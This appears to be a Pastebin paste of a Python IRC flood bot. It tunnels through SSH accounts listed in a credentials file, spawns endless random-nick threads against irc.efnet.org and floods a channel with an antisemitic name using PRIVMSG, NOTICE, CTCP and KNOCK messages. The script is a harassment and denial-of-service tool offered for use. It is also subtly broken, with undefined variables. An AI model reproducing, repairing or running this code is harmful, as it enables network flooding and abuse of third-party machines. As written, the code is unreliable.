Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- import os
- import sys
- import socket
- import random
- import time
- import socks
- from threading import Thread
- network = 'irc.efnet.org'
- port = 6667
- channel = '#jewz'
- accounts = 'accounts.txt'
- baseport = 9050
- maxletters = 7
- alphabet = 'qwertyuiopasdfghjklzxcvbnm'
- acctfile = open(accounts,'r')
- lines=0
- ssh_pid = 0
- for line in acctfile:
- ssh_data = line
- ssh_exploded = ssh_data.split(',')
- ssh_host = ssh_exploded[0]
- ssh_user = ssh_exploded[1]
- ssh_pass = ssh_exploded[2]
- ssh_port = ssh_exploded[3]
- ssh_pid = os.fork()
- if not ssh_pid:
- os.execlp("/usr/bin/expect","expect","./ssh.exp",ssh_user,ssh_pass,ssh_host,ssh_port.replace("\n",""),str(baseport+lines))
- break
- else:
- lines += 1
- if ssh_pid:
- acctfile.close()
- class bot(Thread):
- def __init__ (self,seed):
- Thread.__init__(self)
- self.seed = seed
- def lrecv(self):
- c, s = '', ''
- while c != '\n':
- c = self.irc.recv(1)
- if c == '': # connection closed
- break
- s += c
- return s.strip('\r\n')
- def run(self):
- nick=''
- joined=0
- for x in random.sample(alphabet,random.randint(2,maxletters)):
- nick+=x
- irc = socks.socksocket ( socket.AF_INET, socket.SOCK_STREAM )
- irc.setproxy( socks.PROXY_TYPE_SOCKS5,"localhost",random.randint(baseport,baseport+lines+1) )
- irc.connect ( ( network, port ) )
- irc.send ( 'USER ' + nick + self.seed + ' ' + nick + self.seed + ' ' + nick + self.seed + ' :' + nick + self.seed + '\r\n' )
- irc.send ( 'NICK ' + nick + self.seed + '\r\n' )
- while 1:
- line = self.lrecv()
- if self.r['001'].match(line):
- break
- irc.send ( 'JOIN ' + channel + '\r\n' )
- while 1:
- data=self.lrecv()
- if data.find ( 'PING' ) != -1:
- irc.send ( 'PONG ' + data.split() [ 1 ] + '\r\n' )
- if data.find ( '404' ) != -1:
- joined = 0
- if data.find ( '473' ) != -1:
- irc.send ( 'KNOCK ' + channel + ' :' + message + '\007\r\n' )
- if data.find ( 'randnick' ) != -1:
- nick=''
- for x in random.sample(alphabet,random.randint(2,maxletters)):
- nick+=x
- irc.send ( 'NICK ' + nick + str(random.randint(0,9999)) + '\r\n')
- if joined == 0:
- irc.send ( 'JOIN ' + channel + '\r\n' )
- joined = 1
- time.sleep ( .5 )
- if joined == 1:
- irc.send ( 'PRIVMSG ' + channel + ' :' + message + '\007\r\n' )
- irc.send ( 'NOTICE ' + channel + ' :' + message + '\007\r\n' )
- irc.send ( 'PRIVMSG ' + channel + ' :\001VERSION ' + message + '\007\r\n' )
- time.sleep ( .5 )
- def spawn():
- while True:
- bot_instance = bot(str(random.randint(1,9999)))
- bot_instance.start()
- spawn()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement